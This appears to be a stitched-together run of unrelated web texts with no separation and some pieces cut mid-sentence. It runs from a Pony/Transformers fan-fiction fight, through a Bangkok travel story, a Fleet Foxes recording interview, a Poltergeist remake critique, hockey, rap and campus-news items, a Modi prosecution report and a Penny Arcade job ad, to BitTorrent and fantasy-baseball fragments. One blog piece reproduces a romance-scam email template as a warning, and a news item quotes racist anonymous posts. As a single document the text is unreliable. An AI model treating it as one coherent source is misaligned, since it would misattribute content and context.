They weren't deep in the forest. Gyvon and Twilight shared cover behind a large tree, Fluttershy was hiding behind a bush, and Dinobot had another tree all to himself. Gyvon quickly assessed the situation, but couldn't think of a way to make it out alive.
"If you don't come out of that forest, I'll just burn it down!" screamed Thundercracker. Before anyone could act, a rainbow-colored blur streaked out of the sky and across Thundercracker's face, leaving deep gouges in his head. Thundercracker screamed as the blur slowed down, revealing Rainbow Dash. "Wow, I thought Decepticons were supposed to be tougher than that." said Rainbow Dash mockingly. The look Thundercracker gave off would've curdled milk. "You stupid insect! You'll pay dearly for that!" he screamed.
From a shoulder compartment, Thundercracker fired an AIM-7 Sparrow at Rainbow Dash. The pegasus effortlessly dodged the missile, which couldn't lock on to her. Rainbow Dash flew to a nearby cloud and started bucking it repeatedly. The lightning pelted the tallest object around, which happened to be Thundercracker. Although his vital components were shielded from electrical damage, the bolts were still painful and shorted out a few sub-systems.
From behind their tree, Twilight and Gyvon looked on. "Wow!" exclaimed Twilight. "Rainbow Dash is doing an amazing job." Gyvon nodded in agreement. "I taught her well." he said. From behind his tree, Dinobot growled. "While I agree she's doing well, the mare's lucky that Thundercracker isn't that bright"
Finishing her assault, Rainbow Dash launched herself at Thundercracker, and kicked him in the head at well over five hundred miles per hour. Thundercracker's face was heavily dented in, and Gyvon could hear the metal in the 'Con's neck stretch and crack under the strain. He recovered quickly enough, but Thundercracker's head rested at an odd angle. He screamed in rage, formed a gatling gun from his arm, and fired at Rainbow Dash, who dodged and weaved around the 20mm rounds as she flew off in the opposite direction of the Everfree. Thundercracker had completely forgotten about the traitor in the forest.
"He's got target fixation." said Gyvon. "Perfect." He jetted out of the forest and up to Thundercracker, latching on to the Seeker's back. Gyvon repeatedly jammed the blades on his arms into Thundercracker's back, hoping to pierce his spark. He was paid no heed, and on the fourth attempt, Gyvon jammed his right arm through the Decepticon's spark. Thundercracker gave off one last anguished scream and fell forwards, lifeless. With a great booming thud, the battle was over.
Rainbow Dash landed next to Gyvon as he stood up and retracted his blades. "That... was... AWESOME!" she yelled, smiling as wide as she could. The smile disappeared when she saw Gyvon glaring at her furiously. "Don't you realize you could've gotten yourself killed?" he asked in a raised voice. Rainbow Dash quailed at his outburst. "I taught you how to fight only so you could defend yourself, not to go gallivanting off and putting yourself in mortal danger!"
As Rainbow Dash looked up at him in fear, Gyvon couldn't keep a straight face any longer. He began to laugh with glee and brought Dash into a tight embrace. "I'm so damn proud of you!" They both began to laugh.
As they stepped off of Thundercracker's corpse, Gyvon noticed Applejack, Rarity, and Pinkie Pie galloping in from the east. Rarity and Applejack were the swiftest and arrived first. "We heard the commotion and came as fast as we... WHOA NELLY, WHAT THE HAY IS THAT?!" She had just noticed Thundercracker lying face down. Pinkie showed up next. "It's a Decepticon, silly!" she said in a cheerful voice. "What else would be this big and metaly?"
Twilight cantered out of the forest with Dinobot carrying a skittish Fluttershy close behind. Dinobot gently set Fluttershy down to the side. "One of the Predacons is missing." he said. Gyvon scanned the battlefield and saw one figure crawling through the grass away from the forest. As they approached, Gyvon saw that it was the same Predacon that he had crippled earlier.
"Alas, Tarantulas." said Dinobot, standing in front of the assailant. "How the mighty have fallen." The Predacon stopped crawling, and internal fluids began leaking heavily. "Dinobot... why? Why did you.... betray us?" asked Tarantulas, his voice rasping. Dinobot growled. "I could not live with myself if I stayed. The Predacons murdered innocents. Women, children. There was no honor."
Tarantulas coughed. "You were there too, Dinobot. You were there." he said. Dinobot nodded. "Yes, I was there. I, too, took the lives of many that day." he said. Gyvon, Twilight, and everypony looked up at Dinobot, wide-eyed at his confession. "But, unlike you, I took no joy from it. I was merely following orders." Tarantulas began to laugh, but could only cough. His life was hanging by a thread.
"You are still just as guilty as I." Tarantulas said. Dinobot nodded somberly. "So I am." he said, aiming his pistol at Tarantulas' chest. "And when my tale is told, it will be told truthfully, the ill deeds along with the good, and I will be judged accordingly. The rest..." he fired. "...is silence."It was a mellow, sunny afternoon in Bangkok. The smell of lemongrass, grilled pork and tuk-tuk fumes filled the air.
“Let’s finally go to the Sky Bar.” Greg, my friend from New Zealand, had been keen to go for weeks. “It’s the place where the Hangover movie was filmed. It’s going to be amazing.”
We had tried to go to another sky bar earlier, but they didn’t let us in. We were dressed too casually, with tank tops, flip-flops, and shorts.
“You know I don’t have shoes.”
It’s always scorching hot in Bangkok so I didn’t feel the need for shoes. I had sent them home in a big postal package a week earlier, together with all the other useless stuff in my backpack.
We were strolling around in the local Seven Eleven, enjoying the airco.
“I only have flip-flops. There’s no way they’ll let me in”.
“Just buy new shoes. It’ll be worth it”.
I was not happy. I don’t like wasting money on stuff I don’t need. On the other hand, I really wanted to go to the Sky Bar. Especially after checking out the pictures online:
“I’m not going to buy new shoes just for this. Let’s just do something else.”
“Dude. Why don’t you just make your own shoes?”
I always knew Greg was crazy, but this was another level.
“What do you mean?”
“There’s garbage bags here. And duct tape”.
Needless to say, we decided to try it. I bought the stuff and we quickly went back to the hostel to complete our mission.
There’s one thing you need to know about me. If you’ve seen me in real life, you know I don’t care about dressing well.
I know how important appearance is. People really do judge you based on your clothes, but I don’t generally give a shit. (I’m trying to change this now but it’s hard)
I |
Josh. He's not hearing a band, he's hearing acoustic guitar and vocals. So I'd have to say, 'You're gonna have to hit a lot harder here 'cause there's gonna be so much more stuff around this.' Josh is phenomenally good in the studio. He's so focused and he knows what he needs to do. And he has really good tempo, 'cause there's no click track.”
As ambitious as ever, Robin Pecknold planned to nail some of the final vocals and acoustic guitar parts in these early sessions. "But then Robin got sick, so he didn't do the vocals,” says Ek. "And eventually with the guitar, we just got better sounds and better performances. And things change as you make a record as to what works and what doesn't work. Some picking styles changed and all that stuff. Most of it was not used, but there's a couple that were used, like the very first part of 'The Shrine/An Argument' and the little acoustic guitar melody line that's going on in 'Lorelai'.”
In terms of drum miking, Ek kept it fairly simple, mainly using a pair of Coles 4038s. "Those big ribbon mics, but kind of positioned further away,” he explains. "They sounded super cool and really big and full. The kick drum actually had four mics on it: a Neumann M269, a Neumann 47FET, an NS10 speaker and Robin's AKG D36. Then we had a couple of Neumann 47s for the overheads.”
At Dreamland, Ek was particularly enamoured of the studio's 48‑channel API desk. "It has a kind of open clarity that a Trident has,” he says, "and the kind of depthy balls and toughness that a Neve has. So I think they have the best of both worlds. For the drums, I don't think I did any EQ'ing at all.”
Despite his reservations about tape, the drums were simultaneously recorded onto Pro Tools and Dreamland's Studer A820 two‑inch. "We did it on tape without a click and then dumped it back into Pro Tools, so we'd have a pure analogue, a pure digital and then a transfer of the analogue. There were a couple of things I edited in Pro Tools from the tape transfer, but there was no tape editing.”
From here, the project then moved back to Seattle, to Pecknold's Reciprocal Studios. The triangular corner building, which was formerly a grocery, is a local musical landmark that was the scene of the recording of Nirvana's debut album Bleach. The singer had recently taken over the facility, and upon moving in, decided to utilise the control room as a storage area, while using the live room as a group hangout‑cum‑recording area.
"We went to his studio and did stuff for just forever,” Ek laughs. "It's always been this kind of little dumpy studio that you can get cool recordings out of. But it's more about the convenience and the price and the chill factor than it is, 'Oh my God, it sounds so incredible in here.' When we were recording, we had to turn off the speakers and wear headphones.”
At Reciprocal, Pecknold had installed his Neve BCM10 desk, used in conjunction with his ever‑growing collection of microphones, including the aforementioned AKG D36, along with his Neumann U47 and KM56 and what became the team's favourite mic for the sessions, the stereo Neumann SM2. "We used one at Dreamland and just kind of fell in love with it. So he bought one and we used it a ton on the record.”
When it came to recording the majority of bassist Christian Wargo's parts, Pecknold wanted a Beach Boys‑style sound, as played through a Fender Super Reverb amp. "That worked on some stuff,” Ek points out, "but ultimately, I don't think we got enough low end, so at the mixing I had to play around with the bass a bit more than normal. But we did some stuff through an Ampeg SVT as well.”
For the electric guitar tracks, Ek says, guitarist Skye Skjelset used mostly a Fender Super Reverb or Pro Reverb. For the acoustic guitar tracks, Pecknold played either his '60s Martin 12‑string or his Gibson six‑string, miked using various combinations of the Neumann UM56, U67, U48 and Coles 4038. The producer points out that the process was greatly aided by Pecknold's increasingly skilful playing. "He knows how to play acoustic properly — volume, fingering. He knows how to play it open tuning or barred, depending on how big it needs to sound. That's really grown a lot, which is so helpful when you want a big tone.”
After months of fairly leisurely recording, Fleet Foxes and Phil Ek finally got itchy feet and decided to move the album sessions on to Bear Creek Studios, outside Seattle. "It's a big barn, a huge room,” the producer says. "We started getting to an area when we wanted to do some vocals and have more of a bigger sound. We originally recorded the basic tracks for 'Sim Sala Bim' at Dreamland and Robin decided it was too slow, so he wanted to go into a big studio to get a big sound for that. 'Cause his studio Reciprocal is small‑sounding and it's also right on a bus line, there's outside noise and you can't do super intimate‑sounding stuff.”
At Bear Creek, Ek decided against using the studio's Trident TSM desk, in favour of the Neve BCM10. "I really like those Trident boards,” he stresses, "but I didn't use it for more than just monitoring. We really like the sound of the BCM10 and Robin has this really great LaChapell tube pre that we brought in.”
After a week at Bear Creek, the team moved on to Seattle's Avast Studios, where Ek had previously worked with the Shins and Band Of Horses. "It's a nice‑sounding space,” he says. "Big room, not too expensive. They have a killer Trident A‑Range and there was only something like 13 of those ever made.” It was during the Avast sessions that keyboardist Casey Westcott added most of his parts. "He recorded his upright piano there,” the producer adds. "Then we did some pump organ and some harmonium.”
By this point, it was time to record Robin Pecknold's final vocals. "Robin sounds good on a Neumann U67,” says Ek. "We tried a bunch of different mics on his voice — different 47s, I even tried an AKG 414, just to see if we could go for different characters. But we always came back to a 67. For the vocal chain, we had a Neve 1073 or Robin has a 1079. A couple of times for some really soft vocals, I used some API preamps because they had a lower noise floor. It was pretty much always compressed with a [Urei] 1176 or a [Teletronix] LA2A. There's a lot dynamic range in his voice, so I try not to compress it too much, cause that's kind of a part of it.”
While Ek is happy to employ the trusty method of taking a singer through three or four takes and then comping the results, he says he often preferred to direct Pecknold through one master take, punching in various sections as they went. "The way I like to work with a singer, production‑wise, is to get them on a path,” he explains. "Singing at a certain volume with a certain clarity. Getting the general presentation and then guiding them through the process.”
In crafting Fleet Foxes' trademark harmonies, keyboard player Casey Wescott acts as the vocal arranger, while Pecknold, drummer Josh Tillman and bassist Christian Wargo record the results. "Casey being so knowledgeable in so much theory and being a piano player,” Ek says, "he just knows how to put those harmonies together so much faster than any of us. So he'll come up with some pretty cool arrangements pretty quickly. Robin, Christian and Josh did the harmonies, or sometimes it'd just be all Robin, or sometimes it'd be Robin and Josh and no Christian, just kind of depending on how those vocals all fit together. We did a little bit of them all around one mic, but that became more of a problem, so we ended up doing it individually. It just didn't really blend as well as we wanted it to, live, as opposed to individual tracks. For Josh and Christian, their voices were cooler with a 47, but Robin was a 67 again.”
Impressively, Robin Pecknold contributed the string parts to 'Sim Sala Bim' himself, multitracking his violin. "Robin did the super‑small, little shakey part on 'Sim Sala Bim'. Then the other stuff was done by this woman in town [Hanna Benn]. She's a friend of Robin's and she did the stuff on 'The Shrine' and on 'Bedouin Dress'. I'm sure Robin wouldn't call himself a violinist, but if he needs to hold one or two notes, he can do it. The part on 'Sim Sala Bim' was supposed to be creepy and intense, so that was totally fine. For him to do a melody like there is on 'The Shrine', he couldn't do that. At least not very well…”
Broach the subject of the mixing of Helplessness Blues to Phil Ek and he instantly laughs. "We went to Sear Sound in New York and it was kinda awful and we actually scrapped it all,” he admits. The band had ensconced themselves in the facility's Studio C, home to a custom Sear‑Avalon desk. "Totally one‑of‑a‑kind,” says the producer. "They had an old one‑inch Studer [C37] two‑track that was one of the things we wanted. But the very first day, the mixing just wasn't really happening for us. I didn't really like the way the studio was sounding for Fleet Foxes. At that studio, they're very nicely accommodating, but it just wasn't truly sounding how I wanted it. Four or five days in, it was only sort of seeming like it was sounding cool, which is not a good sign.
"There were a few things like 'Bedouin Dress' and 'Grown Ocean', where there's a lot of stuff on there, a lot of sound, and it was really reliant on the mix to present that properly. I remember saying to Robin, 'I don't think this is really happening for us, studio‑wise.' That triggered his thoughts and he was like, 'Oh well, I think there's a few of these other things still need to be changed musically with the overdubs.' So eventually that gave us a chance to go back to Seattle, finish 'Bedouin Dress' and actually add 'Battery Kinzie', which hadn't been recorded at all.”
Back in Seattle, Ek and the band settled into the more familiar surroundings of Avast Studios. "We looked at a bunch of other studios to mix at,” the producer says, "but it just came down to, 'Y'know what, man? Let's just mix here in Seattle. We've got a beautiful 64‑channel API Legacy board.' I said to Robin, 'Let's just stay here in Seattle and mix and mix and mix until we're stoked. It's easier and we get to stay in our own houses and we can listen to it in our cars, we can listen to it on our home stereos.' So eventually we just did that. We'd already spent nine months on the record, so I didn't want to throw any more curveballs in there.”
From here on in, says Ek, the process was fairly painless, with the band mixing the final tracks down to Avast's Ampex ATR102 two‑track. "I'd do a dump into Pro Tools at the same time as doing a pure dump onto tape. So there'd be pure analogue tape, a pure digital copy and then I'd do a backup of the analogue back into Pro Tools, so there'd be three copies.”
But for all Pecknold's insistence that as much of the process as possible was done in analogue, Ek argues that it probably made little difference to the finished product. "I still think we could have done this record entirely digitally,” he says. "Minus the tape hiss, I don't really think it would've sounded that much different. Robin likes the sound of the noise, the sound of an old plate. It's inherent to this style of music, but I could go either way on that. I think the presentation of a little more grain is totally cool and also not 100 percent necessary.”
Greg Calbi at Sterling Sound in New York, finally, did the mastering of the album. "I love the guy,” says Ek. "He makes big‑sounding modern records without putting in all the bullshit that people do in mastering. His inherent idea is not to go crushing it down and brickwalling it and all that kind of stuff. It sounds like the record. He lets the dynamics be the dynamics, which was important to me.”
Ultimately, although it involved Ek and Fleet Foxes travelling down a long, twisty path, all involved are delighted with Helplessness Blues. "I think it's awesome,” the producer enthuses. "The basic cheerleading thing that I did the entire time was I said, 'No matter how long it takes to make this record, it's an awesome record that needs to be made. So if we need to spend 'X' amount of time on it, it doesn't matter, we've just gotta do it.' I feel like we made a really cool record that's important for many different reasons. We worked hard on it, and I think it shows.”
Gold Plates Fleet Foxes' debut album quite possibly set new records for the amount of vocal reverb applied, and while there's still plenty of reverb on Helplessness Blues, it sounds as if it has been scaled back in comparison. A conscious decision? "Well, in my personal opinion,” says Ek, "I think with some of the stuff on the first record, there was a little bit too much reverb. I thought it started to cloud his voice, as opposed to just sounding cool and big. He was more demanding on having more reverb on the last record. With this one, when it came to mixing, I thought, I'm just gonna do my thing. And I think it came out kinda clearer and it still had the same effect.” Given the fact that the band are keen on recording in large spaces, it seems reasonable to assume that at least some of the characteristic reverb on the vocals is natural. Not so, says Ek. "Nope, there's no natural reverb at all. Not one single bit. It's just an EMT plate. There were a couple of times where a little digital was thrown in here and there for a different effect or maybe a little spring of some kind. Y'know, I've never used Pro Tools reverbs, I never really mess with them. I use outboard Lexicons and things of that nature. But a lot of the time they sound too good or too glossy. They're not crappy or grainy enough. They just seem so separate from the music. I have a hard time kind of tucking them in the right place where they don't sound like there's too little or too much. Older digitals sit in the mix cooler. But for the most part it's just a good old noisy plate.”It seemed like every headline wrote itself when the news broke that Poltergeist was getting remade: “It’s Baaack,” “They’re Heeere,” and so forth. And now Tobe Hooper and Steven Spielberg’s 1982 haunted-house movie is finally here, and so bland and lazily imitative that most people would probably rather fight a clown doll than sit though the whole thing.
It’s no surprise that the past several years have seen a myriad of horror-film remakes and reboots. Aside from a few indie successes, derivative possession flicks, and what feels like an endless stream of Paranormal Activity entries, the landscape of contemporary American horror seems to be stuck in a limbo of remade classics and revived franchises, from The Omen to Nightmare On Elm Street, and now Poltergeist. It seems no matter the era or the success of the original film, studios are moved to repackage any familiar horror title, with lukewarm results. And once these films leave theaters, they’re rarely spoken of again.
Of course there are reasons studios would want to remake classic horror films. There’s the sheer weight of the name of a movie itself, and the legacy of specific franchises that allow for more updates and editions, from Hellraiser to Halloween. For some films, there’s the opportunity to update the special effects with new technologies. Foreign films like Ju-On: The Grudge and Let The Right One In get remade into English-language versions Stateside. And a successful horror-film remake can perhaps bank on bringing in the older audiences who loved the original, alongside younger audiences who haven’t seen the old one yet. But there’s a certain misguidedness that comes with remaking classic horror films, one that fails to recognize exactly why these films were so terrifying in the first place. In reshooting a horror movie, filmmakers virtually always lose the heart of what made the original successful: its aesthetic.
Horror is built on aesthetics: the combination of cinematography, editing, and effects that build terror. Well-executed horror is the reason films can make viewers suddenly afraid of a top hat hanging in the corner of a room, the static on a TV screen, or a distant person walking slowly toward the camera. It’s not so much what horror is trying to tell, as how it’s trying to tell it. And horror movies in which the actual scares hinge on the film’s aesthetic properties simply can’t be translated into new movies, because so many of the originals were iconic for their newness, for their advancements in constructing terrifying visuals. Scenes like Tina’s iconic blood-soaked death and the other surrealist, dream-logic-imbued action sequences in A Nightmare On Elm Street just don’t pack the same punch in the dimly lit 2010 remake. Horror as a genre so often thrives in moving forward, in figuring out what makes people tick and jump in the present, in creating new characters or establishing smart takes on centuries-old ones. So remakes, especially ones that reach back only a couple of decades, seem antithetic to the genre’s relentless progression.
Poltergeist’s “all-American family terrorized by ghost entities” story seems easy enough for another writer or director to rebuild. Not to knock so many classic horror movies, but a ghost, vampire, or zombie on its own does not a good scary movie make. The new Poltergeist, like so many other remakes, privileges the plot over the movie’s overall vision. And the plot was just one small part of what made Spielberg and Hooper’s movie effective. On paper, some of Poltergeist’s creepiest moments are laughably simple: Chairs instantly assemble into sculptural forms, a mirage of a steak gone bad is terrifying, a prickly looking tree is suddenly the enemy. And all this is for good reason: The film makes a funhouse out of a harmless cookie-cutter home, twisting familiar, domestic objects into portals and playthings for tampering ghosts. The audience is introduced to the objects in their most banal state (inanimate and unpossessed), and becomes comfortable with them onscreen, while still anticipating their corruption. When that corruption happens, every scare seems hinged on an instinctive double take: “Did that just move?” “Did that just turn itself on?”
But while the 2015 Poltergeist remake suffers from a variety of problems, its primary issue is the way it doesn’t develop or maintain a compelling, unique look. The film itself looks cheaply made, and Gil Kenan’s direction is downright boring in the context of the genre. Even the way the home itself is constructed feels like a threat to the film’s narrative. It lacks the central congregating space of the original living room, which served as a stage for the second half of the film’s drama. It must be rare to watch a remake of a film and actually miss a staircase from the original. But the genericness gives the 2015 Poltergeist an uninspired, made-for-TV feel, which is only intensified by the film’s disastrous special effects.
The 1982 Poltergeist made its ghosts compelling by summoning them up in so many forms, including incredibly minimalist ones. They ranged from orbs of lens-flare-heavy bright light to an invisible thug flipping JoBeth Williams around a rotating room. Even the ways in which the 1982 film used blinding bright light and the shadows of the family against the looming TV screen was enough to establish an effective, stylish boundary between the real world and the spiritual one. But although the remake keeps in some key scenes (scary tree! scary clown!), nearly every poltergeist is represented with a boring skeleton. And all the effects are done in CGI, which flattens the realism considerably.
Arguably, the greatest threat to horror originals is the temptation to update the special effects and cinematography to slicker contemporary norms. While what’s scary is subjective for every viewer, the physical and technical realizations of horror in film often balance on a fine line between terrifying success and complete failure. (As Spielberg and his notoriously malfunctioning Jaws shark can attest.) Naturally, some film effects don’t stand the test of time. The steak scene in Poltergeist could be much scarier with modern visuals, but the remake does little to improve upon it. Often, attempts to update practical effects with digital ones are too drastic, forgoing any visual middle ground. The computer-generated mutations of the 2011 Thing prequel were well-executed, but they didn’t live up to Rob Bottin’s gruesome ’80s creatures. Neither did the torture-gory visuals in the 2013 Evil Dead remake, even though it was made with the original creators’ participation.
These era-specific visual qualities are embedded not just in the effects of classic horror films, but sometimes in their cinematography. The Texas Chainsaw Massacre and The Last House On The Left benefited from their low-budget exploitation-flick aesthetic. But the grimy, voyeuristic 1970s sheen is gone in the films’ reboots and remakes. 1973’s Don’t Look Now, which is in line for a remake, has nothing worth translating from that movie’s plot into a new film, because the movie gets its most heart-racing moments from the way Nicolas Roeg builds tension in the film’s rapid-fire editing and jarringly ambiguous surrealism. What’s the point of remaking a horror film when the actual horror only exists in the film’s original form?
Sometimes remakes do work, when a strong sensibility is guiding them. Alexandre Aja’s The Hills Have Eyes remake retained the original film’s horrific violence and mutations. Rob Zombie’s gritty Halloween remake stands up as a terrifying movie on its own, in part by delving deeper into Michael Myers’ history. And sometimes, a remake is so close to the original that it’s neither embarrassing by contrast with the original, nor inventive enough to justify itself, such as the extremely literal 1990 remake of Night Of The Living Dead.
When horror films with excellent cinematography, editing, and effects get remade, the original film only stands to suffer. The minute a studio remakes a visually important horror film, it also carves a hole in the new iteration, where the original’s compelling aesthetic qualities once existed. The new Poltergeist is all hole. If the goal of horror remakes is to rake in the cash, so be it. But presumably the goal should be to revive classics, and reinvent them in modern, artful ways that stand up to the originals. And in that capacity, most remakes fail.Just hours after GM Jim Benning said he was looking to trade a prospect if he could get one further in his development, the Canucks did exactly that.
Vancouver dealt World Junior darling Gustav Forsling to the Chicago Blackhawks for point-producing AHL defenceman Adam Clendening.
Forsling had three goals and five assists in the world juniors, breaking out as one of the tournament’s surprise stars.
If you were looking to sell this fifth-round pick high, this was a pretty good time.
Because Forsling’s World Junior performance was quite the departure from his year in Sweden, where he has struggled making things happen for Linköping. With just five points in 35 games, he was fifth among defencemen on his team in points.
Given how far his defensive game has to come, he’s viewed as a long-time project. Even in his breakout turn at the world juniors he struggled significantly in his end.
And when he returned to Sweden, his ice time began nose diving.
He did show he has a shot you could see in the NHL, but Forlsing is rail-thin at 170 pounds. He is years away from being in a position where he could compete for an NHL job.
Clendening, however, is ready now. And he’s ready in both ends of the rink.
The 22-year-old put up monster numbers on Rockford’s blueline last season, actually leading the team in scoring with 59 points in 74 games.
To think the 2011 second round pick said he was focused all year on improving how he played on the defensive side of the puck.
People question how his size is going to translate in the NHL — he’s under six-feet and around 190 pounds. That could be problematic in the Western Conference and a likely reason Chicago deemed him expendable, along with the reality there’s no room for him in Chitown and he’ll need to clear waivers next season.
Clendening’s offensive instincts give him significant upside, especially if his NHL coach can play him in sheltered minutes.
But, hey, Marc-Andre Gragnani had similar upside and point totals, and you know how that worked out.
Clendening, a right-handed defenceman, is clearly comfortable quarterbacking a power play, and that’s something the Canucks could use, oh, right about now.
He has four NHL games under his belt this year, and scored on his second shift.
Check out his work here QBing the Hawks PP.
Faking a shot to create space? Moving the puck quickly? Getting a shot on net?
The Canucks blueline have needed that like most people need coffee on New Year’s Day morning.
With Kevin Bieksa out 6-8 weeks, and the Canucks struggling to score, Clendening needs to get a chance to see if his game can translate.
Like now.
Look out, Frankie Corrado.
Or Sbisa. Or Weber. Or Stanton.O this scammers are all over arent they? while searching for the original owner of the photos on badoo, this guy from “London” messaged me. So i did search on his email content and apparently they seem to have a template haha the following email content was also used by another scammer. EXACT same template but different name. I thought it was a pity his father is late hahahhahah..I thought why not i play a game with him? but why should i waste my time on him like i did the previous guy. Its just best women to be on their toes when they play the internet dating game because this scamming isn’t going to end. Malaysia supposedly busted a romance scam ring in january 2013 at bukit beruang but mr scammer came from that area (idiot forgot to switch off gps) in april 2013.
The email:
It was really good to receive email from you. I am doing well here, everything is great. My life is awesome and my job is beautiful, having understanding friends who keep me going. How about you? Hopefully everything is just fine and happening the way what you expected them to be.
You really look nice, just what I’m looking for! How about we get to know each other a bit better and see what will happen. I want to tell you about my fate when feeling are so powerful it’s as if some force beyond my control is guiding me to someone who can make me happy beyond my wildest dreams.
You may want to tell me some more about yourself in the area of religion, and what you will like to get out of this friendship assuming it grows positively… well about me,
To start about myself, I am XXXXX, going to be 45 Next year, living and working in England. My father is late and Mum is in UK, born as British with Australian character. I am working as a mining Engineer in shell here in London. I have work for years. Being a single person, working so much without having much time for myself most of my time spent in offshore and I just enjoy it though it’s very tiring. I love to chill out with my friends during weekends, go to mall, watching football and once a month I will going to my Mum’s house in Bolton to visit.
I am a Man who is hilariously funny, understanding, energetic, spontaneous and stone headed but very soft hearted. I also a man with very strong principle and always try to take my religion along with me, wherever I go, whenever it is and with whoever I am. I respect different religion exist in this world because they hold similar teachings which brings peace to everyone and makes you a better man. It sounds a little boring…well that’s how I am when it comes into serious matter. I will tell you more about me as soon as you tell me a bit about you.
Finally, I will wait for life time for your response and please do not hurry to write me because i know we all lead a busy life, so please take your time and write me when you have the chance to do so.
I saw your profile and you look cool, yes i like you and i think you understand what i mean? can you send me your different photos for me to see you well?
Thinking of you,
XXXXXAndre Nickatina is set to release his Cupid Got Bullets 4 Me EP May 27.
The cover art, which features a watercolor style painting of a wide-hipped and scantily clad woman, is available below.
The lead single, “She Like 2 Say” featuring Krush, is available for streaming via Soundcloud.
Andre Nickatina, real name Andre L. Adams, has released 15 studio albums since 1993. For his first two albums, Adams rapped under the name Dre Dog.
The upcoming EP is a follow up to last year’s Andre Nickatina album.
Nickatina released “Jelly 2.0” with Problem, D-Lo and Mistah F.A.B. in February.
The Cupid Got Bullets 4 Me cover art and tracklist are as follows, as is the stream of “She Like 2 Say.”
1. “Pussicini”
2. “WSGz and the BBZs”
3. “She Like 2 Say” f. Krush
4. “RJz”
5. “Ask Janae”
RELATED: HipHopDX Release DatesYou must enter the characters with black color that stand out from the other characters
Message: * A friend wanted you to see this item from WRAL.com: http://wr.al/yWxH
— The University of North Carolina at Chapel Hill is considering banning a smartphone app that some say encourages hate speech, but other schools say free speech among students needs to be promoted.
Yik Yak allows users post anonymously to a local bulletin board, and those posts can be seen only by people in a certain geographic area.
"People have been saying some very racist, very hurtful things," said Ashley Winkfield, a senior at UNC-Chapel Hill who has kept a running tab of "yaks" that she finds troubling.
During the height of the "Black Lives Matter" protests on campus last fall, for example, one person posted, "I really hate blacks, I'm going home where there aren't any."
Another poster said, "the way blacks are acting right now kind of justify a slavery."
Winkfield said the anonymous posts scare her and are making her increasingly distrustful.
"These are people we are going to class with, people who we see every day, and they might have some type of ill will toward us," she said.
Vice Chancellor of Student Affairs Winston Crisp said UNC-Chapel Hill officials are examining options for dealing with Yik Yak.
"I think it adds little to no value to our community and creates more problems for our students than it will ever be worth," Crisp said in a statement. "We want Carolina to be a place where people feel comfortable talking about race and other issues, and we are working hard to create opportunities for them to do that in a constructive and respectful way.”
Utica College in New York and Norwich University in Vermont banned the app last fall by blocking it from their schools' wireless networks. Clemson University considered a ban before deciding against it.
Duke University and North Carolina State University said they have no plans to block students from posting on Yik Yak.
"On this campus and I think on most, what we tell students is freedom of expression, even offensive freedom expression, is what we cherish," Duke Student Affairs Vice President Larry Moneta said.
Yik Yak representatives couldn't be reached Thursday for comment.
Winkfield said she would like to see UNC-Chapel Hill stop the yaks on campus.
"As a social media platform, it has the potential to be a place where people can really speak about their feelings anonymously, but that also means they are not accountable for what they’re saying," she said. "People have taken the liberty of anonymity and have gone completely off the deep end."
Experts say banning Yik Yak is merely symbolic because students can continue to access the app through their phone's data.
Moneta said students would be better off just tuning the app out.
"Our position has always been every student has the right to avoid it simply stop looking at it, and in time, it will fade into oblivion as every predecessor has done," he said.sikh group seeks prosecution of pm narendra modi in canada for 2002 riots
Toronto: Ahead of Prime Minister Narendra Modi's visit to Canada next week, a Sikh rights group has filed a complaint with the country's Attorney General seeking criminal proceedings against him for alleged offences during the 2002 anti-Muslim riots in Gujarat.
Sikhs for Justice (SFJ) has filed the 16-page complaint asking Canadian Attorney General and Minister of Justice Peter Mackay to "bring charges or to consent to charges" being sought against Modi for allegedly "aiding and abetting" the violence against Muslims during the 2002 riots in Gujarat when he was Chief Minister.
The same group had filed a lawsuit in connection with the 2002 riots against Modi when he had visited the US last year in September.
The US, however, had said that Modi is immune from the human rights violation lawsuit since he is the sitting head of a foreign government.
SFJ said Canadian law provides for prosecution of individuals who commit acts of torture outside of Canada and are present in the country at some time.
SFJ Attorney Marlys Edward said state immunity does not prevent Canadian authorities from charging and trying Modi for torture and genocide.
"Since Modi continues to enjoy immunity in India, we are invoking the Canadian law to hold him accountable for gross human rights violations. Unlike India, Canada does not let violence against religious minorities go unpunished," SFJ legal advisor Gurpatwant Singh Pannun said.
Modi will travel to Canada next week, marking the first standalone visit by an Indian Prime Minister in over 42 years. The last such visit took place in 1973.Games and comics site Penny Arcade has posted quite possible the worst job ad of all time, for a "Web / Software Developer & Sys Admin" that outlines unashamedly horrid working conditions.
The ad starts by saying “this could potentially be the most competitive position we ever hire for,” and then starts its description of the job's exigencies by stating “So yes, we run lean. Most of us would say maybe a little TOO lean, but being pushed to your limit is part of the job.”
There's no way to explain the job ad from there on other than by letting you read the rest of the text, so here goes:
“If you have boundless energy and desire to work on both creative AND sometimes tedious work but in an environment that just might change your life, perhaps this is the opportunity for you. We are quite literally looking for a person that can do four jobs: Web Development, Software Development, Sys Admin, and the (dreaded) GENERAL IT for us here that need help configuring a firewall for a dev kit, etc. Sorry, I know that’s the WORST, but it’s absolutely part of the gig. So yeah, we know that’s a lot to ask of a person, but all of us here work tremendously hard to do a lot of things, and if you’d like to be at the technical epicenter of it all and don’t mind having a really bad sense of work-life balance, this is the job for you.”
The ad doesn't mention pay, but The Reg imagines it'll need to be substantial. Very, very, substantial indeed, despite Penny Arcade president of operations Robert Khoo's thought bubble that the site's audience will clamour to clamber aboard on the delightful terms he's described.
If you've seen a less-appetising job ad, do let us know. And if you apply, let us know how it goes! ®The two largest BitTorrent trackers on the Internet have been down for a few days, and will remain offline for another week. The tracker owners are performing maintenance and replacing hardware to cope with the billions of connection requests they get each day. Interestingly enough, most casual BitTorrent users are completely unaware of the prolonged downtime.
OpenBitTorrent and PublicBitTorrent are two non-commercial BitTorrent trackers running on the beerware-licensed Opentracker software. Neither service hosts or links to torrent files and both are free to use by all torrent users.
The services, which were listed as number one and two in our latest list of most-used trackers, coordinate the downloads of 30 million people at any given point in time.
This means that the trackers handle a staggering three billion connections per day – each.
However, starting a few days ago the trackers stopped working entirely. While the trackers have had their fair share of downtime in the past, it’s not often that both of the top trackers are offline for more than a day. Needless to say |
re’s Fantasy Take: Usually the “better in real life than fantasy” players are middle infielders, but Nimmo’s skill set puts him in that camp as well. Of course, things change a bit in OBP leagues, as that’s the area he can make the biggest impact. However, an outfielder who can hit.260-.270 with around 15 homers and 15 steals is usable in just about every format.
